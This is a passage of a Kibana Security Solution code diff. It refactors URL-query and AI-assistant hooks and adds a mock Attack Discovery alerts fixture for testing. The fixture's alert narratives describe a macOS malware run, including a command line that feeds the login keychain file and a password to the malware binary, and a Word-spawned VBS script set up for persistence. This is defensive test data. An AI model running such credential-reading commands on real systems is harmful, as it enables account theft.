+jest.mock('@kbn/cloud-security-posture/src/utils/query_utils', () => ({ + decodeMultipleRisonParams: jest.fn(() => ({})), +})); + +jest.mock('@kbn/cloud-security-posture', () => ({ + encodeQuery: jest.fn(() => `cspq=mocked-cspq-string`), +})); + +const mockDecodeMultipleRisonParams = decodeMultipleRisonParams as jest.MockedFunction< + typeof decodeMultipleRisonParams +>; + +const createWrapper = (initialEntries: string[] = ['/']) => { + const history = createMemoryHistory({ initialEntries }); + const WrapperComponent: React.FC<{ children: React.ReactNode }> = ({ children }) => ( + {children} + ); + WrapperComponent.displayName = 'TestWrapperComponent'; + return WrapperComponent; +}; + +describe('useUrlQuery', () => { + const defaultQuery = () => ({ + filters: [], + query: { match_all: {} }, + }); + + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('should return default query when no URL parameters exist', () => { + const wrapper = createWrapper(['/']); + const { result } = renderHook(() => useUrlQuery(defaultQuery), { wrapper }); + + expect(result.current.urlQuery).toEqual({ + filters: [], + query: { match_all: {} }, + flyout: {}, + }); + }); + + it('should call decodeMultipleRisonParams with correct parameters', () => { + const wrapper = createWrapper(['/test?search=something']); + renderHook(() => useUrlQuery(defaultQuery), { wrapper }); + + expect(mockDecodeMultipleRisonParams).toHaveBeenCalledWith('?search=something', [ + QUERY_PARAM_KEY, + FLYOUT_PARAM_KEY, + ]); + }); + + it('should have setUrlQuery function available', () => { + const wrapper = createWrapper(['/']); + const { result } = renderHook(() => useUrlQuery(defaultQuery), { wrapper }); + + expect(typeof result.current.setUrlQuery).toBe('function'); + }); + + it('should return key from location', () => { + const wrapper = createWrapper(['/']); + const { result } = renderHook(() => useUrlQuery(defaultQuery), { wrapper }); + + expect(result.current.key).toBeDefined(); + }); + + it('should use proper rison encoding for URL construction', () => { + const wrapper = createWrapper(['/']); + const { result } = renderHook(() => useUrlQuery(defaultQuery), { wrapper }); + + // The implementation should use encodeQuery for query param key and encodeRisonParam for flyout param key + // This ensures proper rison format instead of URL-encoded format + expect(result.current.setUrlQuery).toBeDefined(); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/hooks/use_asset_inventory_url_state/use_url_query.ts b/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/hooks/use_asset_inventory_url_state/use_url_query.ts index 144fffda6e2d7..9919d4145ad48 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/hooks/use_asset_inventory_url_state/use_url_query.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/asset_inventory/hooks/use_asset_inventory_url_state/use_url_query.ts @@ -6,27 +6,63 @@ */ import { useEffect, useCallback, useMemo } from 'react'; import { useHistory, useLocation } from 'react-router-dom'; -import { encodeQuery, decodeQuery } from '@kbn/cloud-security-posture'; +import { encodeQuery } from '@kbn/cloud-security-posture'; +import { + QUERY_PARAM_KEY, + FLYOUT_PARAM_KEY, + decodeMultipleRisonParams, + encodeRisonParam, +} from '@kbn/cloud-security-posture/src/utils/query_utils'; + +const URL_PARAM_KEYS = [QUERY_PARAM_KEY, FLYOUT_PARAM_KEY]; /** * @description uses 'rison' to encode/decode a url query * @todo replace getDefaultQuery with schema. validate after decoded from URL, use defaultValues * @note shallow-merges default, current and next query */ -export const useUrlQuery = (getDefaultQuery: () => T) => { +export const useUrlQuery = >(getDefaultQuery: () => T) => { const { push, replace } = useHistory(); const { search, key } = useLocation(); - const urlQuery = useMemo( - () => ({ ...getDefaultQuery(), ...decodeQuery(search) }), - [getDefaultQuery, search] - ); + const urlQuery = useMemo(() => { + const decodedParams = decodeMultipleRisonParams>( + search, + URL_PARAM_KEYS + ); + + // Extract query parameters (the main query parameters) + const queryParams = (decodedParams[QUERY_PARAM_KEY] as Partial) || {}; + + // Extract flyout parameters + const flyoutParams = (decodedParams[FLYOUT_PARAM_KEY] as Record) || {}; + + // Keep parameters separate to avoid conflicts + return { + ...getDefaultQuery(), + ...queryParams, + // Keep flyout parameters in a separate namespace + flyout: flyoutParams, + }; + }, [getDefaultQuery, search]); const setUrlQuery = useCallback( - (query: Partial) => + (query: Partial) => { + const mergedQuery = { ...getDefaultQuery(), ...urlQuery, ...query }; + + const { flyout, ...queryParams } = mergedQuery; + + // Build search string components + const queryParamsSearch = encodeQuery(queryParams); + const flyoutSearch = buildFlyoutSearchString(flyout); + + // Combine and set final search string + const finalSearch = combineSearchParts([queryParamsSearch, flyoutSearch]); + push({ - search: encodeQuery({ ...getDefaultQuery(), ...urlQuery, ...query }), - }), + search: finalSearch, + }); + }, [getDefaultQuery, urlQuery, push] ); @@ -43,3 +79,17 @@ export const useUrlQuery = (getDefaultQuery: () => T) => { setUrlQuery, }; }; + +// Helper function to build flyout search string +function buildFlyoutSearchString(flyoutParams: Record): string { + if (Object.keys(flyoutParams).length === 0) { + return ''; + } + + return encodeRisonParam(FLYOUT_PARAM_KEY, flyoutParams) || ''; +} + +// Helper function to combine search parts +function combineSearchParts(searchParts: Array): string { + return searchParts.filter(Boolean).join('&'); +} diff --git a/x-pack/solutions/security/plugins/security_solution/public/assistant/content/quick_prompts/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/assistant/content/quick_prompts/index.tsx deleted file mode 100644 index 8c33ca94f9139..0000000000000 --- a/x-pack/solutions/security/plugins/security_solution/public/assistant/content/quick_prompts/index.tsx +++ /dev/null @@ -1,80 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { PromptTypeEnum, type PromptResponse } from '@kbn/elastic-assistant-common/impl/schemas'; -import { APP_UI_ID } from '../../../../common'; -import * as i18n from './translations'; -import { - PROMPT_CONTEXT_ALERT_CATEGORY, - PROMPT_CONTEXT_DETECTION_RULES_CATEGORY, - PROMPT_CONTEXT_EVENT_CATEGORY, -} from '../prompt_contexts'; - -/** - * Global list of QuickPrompts intended to be used throughout Security Solution. - * Useful if wanting to see all available QuickPrompts in one place, or if needing - * to reference when constructing a new chat window to include a QuickPrompt. - */ -export const BASE_SECURITY_QUICK_PROMPTS: PromptResponse[] = [ - { - name: i18n.ALERT_SUMMARIZATION_TITLE, - content: i18n.ALERT_SUMMARIZATION_PROMPT, - color: '#F68FBE', - categories: [PROMPT_CONTEXT_ALERT_CATEGORY], - isDefault: true, - id: i18n.ALERT_SUMMARIZATION_TITLE, - promptType: PromptTypeEnum.quick, - consumer: APP_UI_ID, - }, - { - name: i18n.RULE_CREATION_TITLE, - content: i18n.RULE_CREATION_PROMPT, - categories: [PROMPT_CONTEXT_DETECTION_RULES_CATEGORY], - color: '#7DDED8', - isDefault: true, - id: i18n.RULE_CREATION_TITLE, - promptType: PromptTypeEnum.quick, - consumer: APP_UI_ID, - }, - { - name: i18n.WORKFLOW_ANALYSIS_TITLE, - content: i18n.WORKFLOW_ANALYSIS_PROMPT, - color: '#36A2EF', - isDefault: true, - id: i18n.WORKFLOW_ANALYSIS_TITLE, - promptType: PromptTypeEnum.quick, - consumer: APP_UI_ID, - }, - { - name: i18n.THREAT_INVESTIGATION_GUIDES_TITLE, - content: i18n.THREAT_INVESTIGATION_GUIDES_PROMPT, - categories: [PROMPT_CONTEXT_EVENT_CATEGORY], - color: '#F3D371', - isDefault: true, - id: i18n.THREAT_INVESTIGATION_GUIDES_TITLE, - promptType: PromptTypeEnum.quick, - consumer: APP_UI_ID, - }, - { - name: i18n.SPL_QUERY_CONVERSION_TITLE, - content: i18n.SPL_QUERY_CONVERSION_PROMPT, - color: '#BADA55', - isDefault: true, - id: i18n.SPL_QUERY_CONVERSION_TITLE, - promptType: PromptTypeEnum.quick, - consumer: APP_UI_ID, - }, - { - name: i18n.AUTOMATION_TITLE, - content: i18n.AUTOMATION_PROMPT, - color: '#FFA500', - isDefault: true, - id: i18n.AUTOMATION_TITLE, - promptType: PromptTypeEnum.quick, - consumer: APP_UI_ID, - }, -]; diff --git a/x-pack/solutions/security/plugins/security_solution/public/assistant/content/quick_prompts/translations.ts b/x-pack/solutions/security/plugins/security_solution/public/assistant/content/quick_prompts/translations.ts deleted file mode 100644 index 1d122b0169be2..0000000000000 --- a/x-pack/solutions/security/plugins/security_solution/public/assistant/content/quick_prompts/translations.ts +++ /dev/null @@ -1,98 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { i18n } from '@kbn/i18n'; - -export const ALERT_SUMMARIZATION_TITLE = i18n.translate( - 'xpack.securitySolution.assistant.quickPrompts.alertSummarizationTitle', - { - defaultMessage: 'Alert summarization', - } -); - -export const ALERT_SUMMARIZATION_PROMPT = i18n.translate( - 'xpack.securitySolution.assistant.quickPrompts.alertSummarizationPrompt', - { - defaultMessage: - 'As an expert in security operations and incident response, provide a breakdown of the attached alert and summarize what it might mean for my organization.', - } -); - -export const RULE_CREATION_TITLE = i18n.translate( - 'xpack.securitySolution.assistant.quickPrompts.ruleCreationTitle', - { - defaultMessage: 'Query generation', - } -); - -export const RULE_CREATION_PROMPT = i18n.translate( - 'xpack.securitySolution.assistant.quickPrompts.ruleCreationPrompt', - { - defaultMessage: - 'As an expert user of Elastic Security, please generate an accurate and valid EQL query to detect the use case below. Your response should be formatted to be able to use immediately in an Elastic Security timeline or detection rule. If Elastic Security already has a prebuilt rule for the use case, or a similar one, please provide a link to it and describe it.', - } -); - -export const WORKFLOW_ANALYSIS_TITLE = i18n.translate( - 'xpack.securitySolution.assistant.quickPrompts.workflowAnalysisTitle', - { - defaultMessage: 'Workflow suggestions', - } -); - -export const WORKFLOW_ANALYSIS_PROMPT = i18n.translate( - 'xpack.securitySolution.assistant.quickPrompts.workflowAnalysisPrompt', - { - defaultMessage: - 'As an expert user of Elastic Security, please suggest a workflow, with step by step instructions on how to:', - } -); - -export const THREAT_INVESTIGATION_GUIDES_TITLE = i18n.translate( - 'xpack.securitySolution.assistant.quickPrompts.threatInvestigationGuidesTitle', - { - defaultMessage: 'Custom data ingestion helper', - } -); - -export const THREAT_INVESTIGATION_GUIDES_PROMPT = i18n.translate( - 'xpack.securitySolution.assistant.quickPrompts.threatInvestigationGuidesPrompt', - { - defaultMessage: - 'As an expert user of Elastic Security, Elastic Agent, and Ingest pipelines, please list accurate and formatted, step by step instructions on how to ingest the following data using Elastic Agent and Fleet in Kibana and convert it to the Elastic Common Schema:', - } -); - -export const SPL_QUERY_CONVERSION_TITLE = i18n.translate( - 'xpack.securitySolution.assistant.quickPrompts.splQueryConversionTitle', - { - defaultMessage: 'Query conversion', - } -); - -export const SPL_QUERY_CONVERSION_PROMPT = i18n.translate( - 'xpack.securitySolution.assistant.quickPrompts.splQueryConversionPrompt', - { - defaultMessage: - 'I have the following query from a previous SIEM platform. As an expert user of Elastic Security, please suggest an Elastic EQL equivalent. I should be able to copy it immediately into an Elastic security timeline.', - } -); - -export const AUTOMATION_TITLE = i18n.translate( - 'xpack.securitySolution.assistant.quickPrompts.AutomationTitle', - { - defaultMessage: 'Agent integration advice', - } -); - -export const AUTOMATION_PROMPT = i18n.translate( - 'xpack.securitySolution.assistant.quickPrompts.AutomationPrompt', - { - defaultMessage: - 'Which Fleet enabled Elastic Agent integration should I use to collect logs and events from:', - } -); diff --git a/x-pack/solutions/security/plugins/security_solution/public/assistant/migrate_conversations_from_local_storage/use_migrate_conversation_from_local_storage.ts b/x-pack/solutions/security/plugins/security_solution/public/assistant/migrate_conversations_from_local_storage/use_migrate_conversation_from_local_storage.ts index faaaa3dafe979..2308f6168e671 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/assistant/migrate_conversations_from_local_storage/use_migrate_conversation_from_local_storage.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/assistant/migrate_conversations_from_local_storage/use_migrate_conversation_from_local_storage.ts @@ -43,3 +43,8 @@ export const useMigrateConversationsFromLocalStorage = () => { storage, ]); }; + +export const MigrateConversationsFromLocalStorage = () => { + useMigrateConversationsFromLocalStorage(); + return null; +}; diff --git a/x-pack/solutions/security/plugins/security_solution/public/assistant/provider.tsx b/x-pack/solutions/security/plugins/security_solution/public/assistant/provider.tsx index 40dc8e348b078..b48fb45852081 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/assistant/provider.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/assistant/provider.tsx @@ -6,42 +6,17 @@ */ import type { FC, PropsWithChildren } from 'react'; import React, { useEffect } from 'react'; -import type { NotificationsStart } from '@kbn/core-notifications-browser'; -import { - AssistantProvider as ElasticAssistantProvider, - getPrompts, - bulkUpdatePrompts, -} from '@kbn/elastic-assistant'; +import { AssistantProvider as ElasticAssistantProvider } from '@kbn/elastic-assistant'; -import { once, isEmpty } from 'lodash/fp'; -import type { HttpSetup } from '@kbn/core-http-browser'; +import { isEmpty } from 'lodash/fp'; import useObservable from 'react-use/lib/useObservable'; import { useKibana } from '../common/lib/kibana'; -// import { getComments } from './get_comments'; -import { BASE_SECURITY_QUICK_PROMPTS } from './content/quick_prompts'; -import { useAssistantAvailability } from './use_assistant_availability'; import { licenseService } from '../common/hooks/use_license'; import { useFindPromptContexts } from './content/prompt_contexts/use_find_prompt_contexts'; import { CommentActionsPortal } from './comment_actions/comment_actions_portal'; import { AugmentMessageCodeBlocksPortal } from './use_augment_message_code_blocks/augment_message_code_blocks_portal'; import { useElasticAssistantSharedStateSignalIndex } from './use_elastic_assistant_shared_state_signal_index/use_elastic_assistant_shared_state_signal_index'; -import { useMigrateConversationsFromLocalStorage } from './migrate_conversations_from_local_storage/use_migrate_conversation_from_local_storage'; - -export const createBasePrompts = async (notifications: NotificationsStart, http: HttpSetup) => { - const promptsToCreate = [...BASE_SECURITY_QUICK_PROMPTS]; - - // post bulk create - const bulkResult = await bulkUpdatePrompts( - http, - { - create: promptsToCreate, - }, - notifications.toasts - ); - if (bulkResult && bulkResult.success) { - return bulkResult.attributes.results.created; - } -}; +import { MigrateConversationsFromLocalStorage } from './migrate_conversations_from_local_storage/use_migrate_conversation_from_local_storage'; /** * This component configures the Elastic AI Assistant context provider for the Security Solution app. @@ -53,46 +28,15 @@ export const AssistantProvider: FC> = ({ children }) elasticAssistantSharedState.assistantContextValue.getAssistantContextValue$() ); - const assistantAvailability = useAssistantAvailability(); const hasEnterpriseLicence = licenseService.isEnterprise(); - useMigrateConversationsFromLocalStorage(); useElasticAssistantSharedStateSignalIndex(); - useEffect(() => { - const createSecurityPrompts = once(async () => { - if ( - hasEnterpriseLicence && - assistantAvailability.isAssistantEnabled && - assistantAvailability.hasAssistantPrivilege - ) { - try { - const res = await getPrompts({ - http, - toasts: notifications.toasts, - }); - - if (res.total === 0) { - await createBasePrompts(notifications, http); - } - // eslint-disable-next-line no-empty - } catch (e) {} - } - }); - createSecurityPrompts(); - }, [ - assistantAvailability.hasAssistantPrivilege, - assistantAvailability.isAssistantEnabled, - hasEnterpriseLicence, - http, - notifications, - ]); - const promptContexts = useFindPromptContexts({ context: { isAssistantEnabled: hasEnterpriseLicence && - assistantAvailability.isAssistantEnabled && - assistantAvailability.hasAssistantPrivilege, + (assistantContextValue?.assistantAvailability.isAssistantEnabled ?? false) && + (assistantContextValue?.assistantAvailability.hasAssistantPrivilege ?? false), httpFetch: http.fetch, toasts: notifications.toasts, }, @@ -119,6 +63,7 @@ export const AssistantProvider: FC> = ({ children }) + {children} ); diff --git a/x-pack/solutions/security/plugins/security_solution/public/assistant/send_to_timeline/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/assistant/send_to_timeline/index.tsx index 0968bc4a4fe21..4c906bb93154d 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/assistant/send_to_timeline/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/assistant/send_to_timeline/index.tsx @@ -39,7 +39,7 @@ import { useSourcererDataView } from '../../sourcerer/containers'; import { useDiscoverState } from '../../timelines/components/timeline/tabs/esql/use_discover_state'; import { useKibana } from '../../common/lib/kibana'; import { useIsExperimentalFeatureEnabled } from '../../common/hooks/use_experimental_features'; -import { useDataViewSpec } from '../../data_view_manager/hooks/use_data_view_spec'; +import { useDataView } from '../../data_view_manager/hooks/use_data_view'; export interface SendToTimelineButtonProps { asEmptyButton: boolean; @@ -67,10 +67,10 @@ export const SendToTimelineButton: FC { - const isEnterprise = useLicense().isEnterprise(); - const capabilities = useKibana().services.application.capabilities; - const hasAssistantPrivilege = capabilities[ASSISTANT_FEATURE_ID]?.['ai-assistant'] === true; - const hasUpdateAIAssistantAnonymization = - capabilities[ASSISTANT_FEATURE_ID]?.updateAIAssistantAnonymization === true; - const hasManageGlobalKnowledgeBase = - capabilities[ASSISTANT_FEATURE_ID]?.manageGlobalKnowledgeBaseAIAssistant === true; - const hasSearchAILakeConfigurations = capabilities[SECURITY_FEATURE_ID]?.configurations === true; - - // Connectors & Actions capabilities as defined in x-pack/plugins/actions/server/feature.ts - // `READ` ui capabilities defined as: { ui: ['show', 'execute'] } - const hasConnectorsReadPrivilege = - capabilities.actions?.show === true && capabilities.actions?.execute === true; - // `ALL` ui capabilities defined as: { ui: ['show', 'execute', 'save', 'delete'] } - const hasConnectorsAllPrivilege = - hasConnectorsReadPrivilege && - capabilities.actions?.delete === true && - capabilities.actions?.save === true; - - return { - hasSearchAILakeConfigurations, - hasAssistantPrivilege, - hasConnectorsAllPrivilege, - hasConnectorsReadPrivilege, - isAssistantEnabled: isEnterprise, - hasUpdateAIAssistantAnonymization, - hasManageGlobalKnowledgeBase, - }; + const { assistantAvailability } = useAssistantContext(); + return assistantAvailability; }; diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/mock/mock_attack_discovery_alerts.ts b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/mock/mock_attack_discovery_alerts.ts new file mode 100644 index 0000000000000..190a5e80ac3db --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/mock/mock_attack_discovery_alerts.ts @@ -0,0 +1,108 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { AttackDiscoveryAlert } from '@kbn/elastic-assistant-common'; + +export const getMockAttackDiscoveryAlerts = (): AttackDiscoveryAlert[] => [ + { + alertIds: [ + 'f31a96abb64168ce92bab7369b5ce3c96bcea72707b58f96d85d81204b77c000', + '5973618596d3a91e8de1eccfc49334160ca5ac14b09f33a4fa7184ab0b9a1e4f', + 'c616b1b2c93d83def20e44332d8fb6b291115240cabc2312f5110c36918460c3', + 'b69530d0ddba29ee2a9c520a7d63f99d4a63a38f403649010443be929a03b880', + 'f2a83f9accb55a89536f055936c798e61b9ead62fb50addcc7d52a2e5be4673f', + 'ee618109acb623be3ea24bf6a870984c95e63ec130876dc5ab34fbc7e0643fcb', + ], + alertRuleUuid: 'attack_discovery_ad_hoc_rule_id', + alertWorkflowStatus: 'open', + connectorId: 'gpt4oAzureDemo3', + connectorName: 'GPT-4o', + detailsMarkdown: + 'The attack began with the execution of {{ process.name My Go Application.app }} on {{ host.name 3d241119-f77a-454e-8ee3-d36e05a8714f }}. The malware file {{ file.name unix1 }} was detected at {{ file.path /Users/james/unix1 }}. The process {{ process.command_line /private/var/folders/_b/rmcpc65j6nv11ygrs50ctcjr0000gn/T/AppTranslocation/6D63F08A-011C-4511-8556-EAEF9AFD6340/d/Setup.app/Contents/MacOS/My Go Application.app }} failed code signature verification, indicating potential tampering. Subsequently, {{ process.name chmod }} was executed to modify permissions on {{ file.path /Users/james/unix1 }}, enabling further malicious activity. The attacker leveraged {{ user.name 325761dd-b22b-4fdc-8444-a4ef66d76380 }} to execute commands and escalate privileges. Following this, the attacker utilized {{ process.name unix1 }} to access sensitive files, including {{ file.path /Users/james/library/Keychains/login.keychain-db }}. The process {{ process.command_line /Users/james/unix1 /Users/james/library/Keychains/login.keychain-db TempTemp1234!! }} indicates credential theft attempts. The attacker leveraged {{ user.name 325761dd-b22b-4fdc-8444-a4ef66d76380 }} to exfiltrate data, completing the attack chain.', + entitySummaryMarkdown: + 'Malware and credential theft detected on {{ host.name 3d241119-f77a-454e-8ee3-d36e05a8714f }} by {{ user.name 325761dd-b22b-4fdc-8444-a4ef66d76380 }}.', + generationUuid: 'bc8fc876-1f25-437e-8084-284cc52fd606', + id: '0b8cf9c7-5ba1-49ce-b53d-3cfb06918b60', + mitreAttackTactics: [ + 'Execution', + 'Persistence', + 'Privilege Escalation', + 'Credential Access', + 'Exfiltration', + ], + replacements: { + '325761dd-b22b-4fdc-8444-a4ef66d76380': 'james', + '3d241119-f77a-454e-8ee3-d36e05a8714f': 'SRVMAC08', + '914c4f07-1f28-41b0-ad77-af135c2ef7ce': 'root', + 'ed57c0c6-ee92-4212-82fa-6cd4bab9a550': 'Administrator', + 'b5dd21c9-fd63-4abd-bf9e-2d8782085214': 'SRVWIN07', + '76c5e5d9-9664-406e-8fb3-80dba1ca2922': 'SRVWIN06', + 'f5cebfc5-e714-4fd8-95c9-30ed9dd5f606': 'SRVNIX05', + '6e5ede8f-51d0-4887-b840-68eec5ecb8af': 'SRVWIN04', + '5236bb7f-719d-4044-b09a-c4f395fd03de': 'SRVWIN03', + 'de48665d-beb0-4dc2-90ef-68db692527ed': 'SRVWIN02', + '85ef4dd0-2a0a-47b7-ac8f-ed6801b3dd7d': 'SRVWIN01', + }, + riskScore: 594, + summaryMarkdown: + 'Malware and credential theft detected on {{ host.name 3d241119-f77a-454e-8ee3-d36e05a8714f }}.', + timestamp: '2025-05-05T17:36:50.533Z', + title: 'Unix1 Malware and Credential Theft', + userId: 'u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0', + userName: 'elastic', + users: [ + { + id: 'u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0', + name: 'elastic', + }, + ], + }, + { + alertIds: [ + 'da007cbe9ed0771f73decb76e5e19320a67f0f43e0e6c7b0746c3abeffbd15e2', + '831ee46f97a384d65ca927b93391af3e81106064327fe84ee742fb9680cfa115', + 'b2526dee225a66361446ed4b18477d73f48586a1c0e33eeab926d8c79cd49b88', + ], + alertRuleUuid: 'attack_discovery_ad_hoc_rule_id', + alertWorkflowStatus: 'open', + connectorId: 'gpt4oAzureDemo3', + connectorName: 'GPT-4o', + detailsMarkdown: + 'The attacker leveraged {{ process.name wscript.exe }} to execute malicious scripts, including {{ file.name AppPool.vbs }} on {{ host.name b5dd21c9-fd63-4abd-bf9e-2d8782085214 }}. The script was spawned by {{ process.parent.name WINWORD.EXE }} and executed commands to establish persistence and command-and-control channels. The attacker utilized {{ user.name ed57c0c6-ee92-4212-82fa-6cd4bab9a550 }} to escalate privileges and maintain access.', + entitySummaryMarkdown: + 'Malicious script execution detected on {{ host.name b5dd21c9-fd63-4abd-bf9e-2d8782085214 }} by {{ user.name ed57c0c6-ee92-4212-82fa-6cd4bab9a550 }}.', + generationUuid: 'bc8fc876-1f25-437e-8084-284cc52fd606', + id: 'b8a1be79-54af-4c1e-a71e-291a7b93b769', + mitreAttackTactics: ['Initial Access', 'Execution', 'Persistence'], + replacements: { + '325761dd-b22b-4fdc-8444-a4ef66d76380': 'james', + '3d241119-f77a-454e-8ee3-d36e05a8714f': 'SRVMAC08', + '914c4f07-1f28-41b0-ad77-af135c2ef7ce': 'root', + 'ed57c0c6-ee92-4212-82fa-6cd4bab9a550': 'Administrator', + 'b5dd21c9-fd63-4abd-bf9e-2d8782085214': 'SRVWIN07', + '76c5e5d9-9664-406e-8fb3-80dba1ca2922': 'SRVWIN06', + 'f5cebfc5-e714-4fd8-95c9-30ed9dd5f606': 'SRVNIX05', + '6e5ede8f-51d0-4887-b840-68eec5ecb8af': 'SRVWIN04', + '5236bb7f-719d-4044-b09a-c4f395fd03de': 'SRVWIN03', + 'de48665d-beb0-4dc2-90ef-68db692527ed': 'SRVWIN02', + '85ef4dd0-2a0a-47b7-ac8f-ed6801b3dd7d': 'SRVWIN01', + }, + riskScore: 297, + summaryMarkdown: + 'Malicious script execution detected on {{ host.name b5dd21c9-fd63-4abd-bf9e-2d8782085214 }}.', + timestamp: '2025-05-05T17:36:50.533Z', + title: 'Script Execution via Wscript', + userId: 'u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0', + userName: 'elastic', + users: [ + { + id: 'u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0', + name: 'elastic', + }, + ], + }, +]; diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/attack_discovery_panel/tabs/alerts_tab/ai_for_soc/table.tsx b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/attack_discovery_panel/tabs/alerts_tab/ai_for_soc/table.tsx index 5f97d2d2d6f86..72fc8e3ea3555 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/attack_discovery_panel/tabs/alerts_tab/ai_for_soc/table.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/attack_discovery_panel/tabs/alerts_tab/ai_for_soc/table.tsx @@ -11,6 +11,8 @@ import { AlertsTable } from '@kbn/response-ops-alerts-table'; import type { PackageListItem } from '@kbn/fleet-plugin/common'; import type { QueryDslQueryContainer } from '@elastic/elasticsearch/lib/api/types'; import type { AlertsTableImperativeApi } from '@kbn/response-ops-alerts-table/types'; +import { useBrowserFields } from '../../../../../../../data_view_manager/hooks/use_browser_fields'; +import { DataViewManagerScopeName } from '../../../../../../../data_view_manager/constants'; import type { AdditionalTableContext } from '../../../../../../../detections/components/alert_summary/table/table'; import { ACTION_COLUMN_WIDTH, @@ -24,7 +26,6 @@ import { TOOLBAR_VISIBILITY, } from '../../../../../../../detections/components/alert_summary/table/table'; import { ActionsCell } from '../../../../../../../detections/components/alert_summary/table/actions_cell'; -import { getDataViewStateFromIndexFields } from '../../../../../../../common/containers/source/use_data_view'; import { useKibana } from '../../../../../../../common/lib/kibana'; import { CellValue } from '../../../../../../../detections/components/alert_summary/table/render_cell'; import type { RuleResponse } from '../../../../../../../../common/api/detection_engine'; @@ -84,12 +85,7 @@ export const Table = memo(({ dataView, id, packages, query, ruleResponse }: Tabl [application, cases, data, fieldFormats, http, licensing, notifications, settings] ); - const dataViewSpec = useMemo(() => dataView.toSpec(), [dataView]); - - const { browserFields } = useMemo( - () => getDataViewStateFromIndexFields('', dataViewSpec.fields), - [dataViewSpec.fields] - ); + const browserFields = useBrowserFields(DataViewManagerScopeName.detections, dataView); const additionalContext: AdditionalTableContext = useMemo( () => ({ diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/attack_discovery_panel/tabs/alerts_tab/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/attack_discovery_panel/tabs/alerts_tab/index.tsx index dd441852bc923..89bf148a69216 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/attack_discovery_panel/tabs/alerts_tab/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/attack_discovery_panel/tabs/alerts_tab/index.tsx @@ -6,6 +6,7 @@ */ import type { AttackDiscovery, Replacements } from '@kbn/elastic-assistant-common'; +import { getOriginalAlertIds } from '@kbn/elastic-assistant-common'; import { SECURITY_SOLUTION_RULE_TYPE_IDS } from '@kbn/securitysolution-rules'; import React, { useMemo } from 'react'; @@ -32,11 +33,8 @@ const AlertsTabComponent: React.FC = ({ attackDiscovery, replacements }) const AIForSOC = capabilities[SECURITY_FEATURE_ID].configurations; const originalAlertIds = useMemo( - () => - attackDiscovery.alertIds.map((alertId) => - replacements != null ? replacements[alertId] ?? alertId : alertId - ), - [attackDiscovery.alertIds, replacements] + () => getOriginalAlertIds({ alertIds: attackDiscovery.alertIds, replacements }), + [attackDiscovery, replacements] ); const alertIdsQuery = useMemo( diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/helpers.test.ts b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/helpers.test.ts deleted file mode 100644 index 9d58a1487d0ca..0000000000000 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/helpers.test.ts +++ /dev/null @@ -1,43 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { getOriginalAlertIds } from './helpers'; - -describe('helpers', () => { - describe('getOriginalAlertIds', () => { - const alertIds = ['alert1', 'alert2', 'alert3']; - - it('returns the original alertIds when no replacements are provided', () => { - const result = getOriginalAlertIds({ alertIds }); - - expect(result).toEqual(alertIds); - }); - - it('returns the replaced alertIds when replacements are provided', () => { - const replacements = { - alert1: 'replaced1', - alert3: 'replaced3', - }; - const expected = ['replaced1', 'alert2', 'replaced3']; - - const result = getOriginalAlertIds({ alertIds, replacements }); - - expect(result).toEqual(expected); - }); - - it('returns the original alertIds when replacements are provided but no replacement is found', () => { - const replacements = { - alert4: 'replaced4', - alert5: 'replaced5', - }; - - const result = getOriginalAlertIds({ alertIds, replacements }); - - expect(result).toEqual(alertIds); - }); - }); -}); diff --git a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/helpers.ts b/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/helpers.ts deleted file mode 100644 index d59378f2c38ae..0000000000000 --- a/x-pack/solutions/security/plugins/security_solution/public/attack_discovery/pages/results/take_action/helpers.ts +++ /dev/null @@ -1,17 